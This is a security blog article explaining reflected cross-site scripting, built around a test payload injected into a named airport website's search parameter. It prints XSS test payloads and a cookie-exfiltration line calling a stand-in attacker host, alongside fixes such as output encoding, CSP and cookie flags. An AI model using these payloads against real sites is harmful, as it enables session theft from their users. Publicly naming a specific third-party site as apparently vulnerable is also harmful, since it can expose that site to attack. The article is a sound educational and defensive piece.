May 14, 2026

How a Simple Search Parameter Exposed a Potential XSS Vulnerability

A Deep Dive into Reflected Cross-Site Scripting (XSS)

Mu

4 min read

A Deep Dive into Reflected Cross-Site Scripting (XSS)

Disclaimer: This article is written strictly for educational and responsible security awareness purposes. Perform security testing only on systems where you have explicit authorization.

Introduction

Modern web applications process user input constantly — search bars, login forms, comments, filters, and URL parameters all rely on user-controlled data. But when developers fail to properly sanitize and encode input, attackers may inject malicious scripts directly into web pages.

One of the most common and dangerous outcomes of insecure input handling is Cross-Site Scripting (XSS).

During a security assessment, a potentially risky search parameter was identified on the following website:

<https://www.brazzaville-airport.com/?s=><script>alert(0)</script>

This payload attempts to inject JavaScript through the s parameter. If the application reflects this input into the HTML response without proper output encoding, the browser may interpret it as code—and execute it.

What looks like a "simple alert box" can represent a serious security issue.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a client-side injection vulnerability where an attacker injects malicious JavaScript into a trusted website.

When a victim loads the affected page, the victim's browser executes the attacker's script in the context of the trusted domain, which can allow attackers to:

  • Steal session cookies (if not HttpOnly)
  • Hijack accounts
  • Redirect users to phishing pages
  • Modify page content (defacement)
  • Perform actions as the victim (if CSRF protections are weak)
  • Capture keystrokes (keylogging)
  • Deliver malware or drive-by downloads

Understanding the Potentially Vulnerable URL

The test payload used was:

<script>alert(0)</script>

Injected into:

<https://www.brazzaville-airport.com/?s=><script>alert(0)</script>

The s parameter appears to behave like a search query parameter (common in CMS platforms). If the site returns a search results page that includes the value of s (e.g., "Search results for: …") and that value is inserted into HTML without escaping, the browser may interpret <script> as a real script tag.

That is the essence of reflected XSS: the payload is delivered in the request and "reflected" back in the response.

How Reflected XSS Works (Step-by-Step)

1) Attacker crafts a malicious URL

<https://target.com/?search=><script>alert(document.cookie)</script>

The victim clicks it from email, social media, a chat message, or a forum post.

3) Application reflects the input

The server embeds the user input into the page response.

4) Browser executes the script

Because the script appears to come from a trusted domain, the browser runs it.

5) Attacker gains impact

The attacker can attempt to steal data, manipulate content, or perform actions.

Visualizing the Attack Flow

Attacker → Sends malicious link
          ↓
Victim opens link
          ↓
Website reflects payload
          ↓
Browser executes JavaScript
          ↓
Session hijacking / data theft

Why This is Dangerous (Even If It's "Just alert(0)")

Many teams underestimate reflected XSS because early testing often uses harmless payloads such as:

alert(0)

But attackers don't stop there. A more realistic payload could attempt data exfiltration:

fetch("<https://attacker.com/steal?cookie=>" + document.cookie);

If session cookies are not protected with HttpOnly, a successful XSS may allow attackers to capture them and hijack authenticated sessions.

Even when cookies are HttpOnly, XSS can still be extremely damaging because attackers can:

  • Perform actions directly in the browser (as the user)
  • Read sensitive DOM content
  • Steal CSRF tokens if exposed in the page
  • Capture credentials via injected forms

Technical Root Cause

Reflected XSS typically happens due to one (or more) of the following:

  • User input is reflected into HTML without encoding
  • Special characters (<, >, ", ') are not escaped
  • Templating or rendering is done insecurely
  • Unsafe DOM APIs are used (e.g., innerHTML)
  • A lack of defense-in-depth (no CSP, weak cookie flags)

A simplified example of vulnerable server-side rendering:

<?php
 echo $_GET['s'];
?>

This prints attacker-controlled input directly into the HTML response.

Secure Implementation (What Should Happen Instead)

A safer approach is to encode output before rendering:

<?php
 echo htmlspecialchars($_GET['s'], ENT_QUOTES, 'UTF-8');
?>

This converts characters like:

< > " '

into harmless HTML entities, so the browser displays them as text rather than interpreting them as HTML/JavaScript.

1) Output Encoding (Primary Fix)

Always encode untrusted data when rendering into:

  • HTML body
  • HTML attributes
  • JavaScript contexts
  • URLs
  • CSS contexts

Encoding must be context-aware (HTML encoding is not the same as JS string encoding).

2) Input Validation (Helpful, But Not Sufficient Alone)

Validate expected format:

  • Length limits
  • Allowed character sets
  • Reject obviously malicious patterns where appropriate

(But do not rely on blacklists as the main control.)

3) Content Security Policy (CSP)

A strong CSP can significantly reduce exploitability:

Content-Security-Policy: default-src 'self'; script-src 'self'

For mature applications, consider:

  • Nonces (script-src 'nonce-...')
  • Disallowing inline scripts ('unsafe-inline' off)
  • Tightening third-party sources

4) Avoid Unsafe Rendering Methods

Frameworks like React, Angular, and Vue escape output by default — but you can still bypass protections if you use dangerous features such as:

  • dangerouslySetInnerHTML (React)
  • innerHTML in plain JS
  • Untrusted template injection

5) Harden Cookies

Set session cookies with:

HttpOnly; Secure; SameSite=Lax (or Strict)

Example:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

Security Testing Methodology (High-Level)

A common approach during web application testing:

  1. Identify reflection points (search pages, error pages, filters)
  2. Inject test payloads
  3. Observe HTML rendering behavior
  4. Check for encoding and context (HTML/attribute/JS)
  5. Test for bypasses (case changes, event handlers, different tags)
  6. Evaluate real impact (account takeover risk, data exposure)

Common test payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

Lessons for Developers

Security should not be treated as a final deployment step. Reflected XSS is often a sign that input/output handling is inconsistent across the application.

Best practices:

  • Validate input
  • Encode output (context-aware)
  • Add CSP as defense-in-depth
  • Run regular security reviews
  • Use automated scanning and SAST/DAST tooling
  • Add security test cases to CI/CD

Responsible Disclosure Matters

Finding a vulnerability is only one part of security work. Responsible disclosure ensures:

  • Organizations can patch issues before widespread exploitation
  • Users remain protected
  • Security research is conducted ethically
  • Awareness improves across the ecosystem

Final Thoughts

A single unsanitized parameter can become a gateway to phishing, account compromise, and data theft.

A payload like:

<script>alert(0)</script>

may look harmless, but it represents a much larger trust problem: if attacker-controlled input becomes executable code in a user's browser, the attacker inherits the trust of the domain.

XSS is not just a frontend bug.

It's a trust bug.

Tags:

#CyberSecurity #XSS #WebSecurity #BugBounty #OWASP #EthicalHacking #AppSec #PenetrationTesting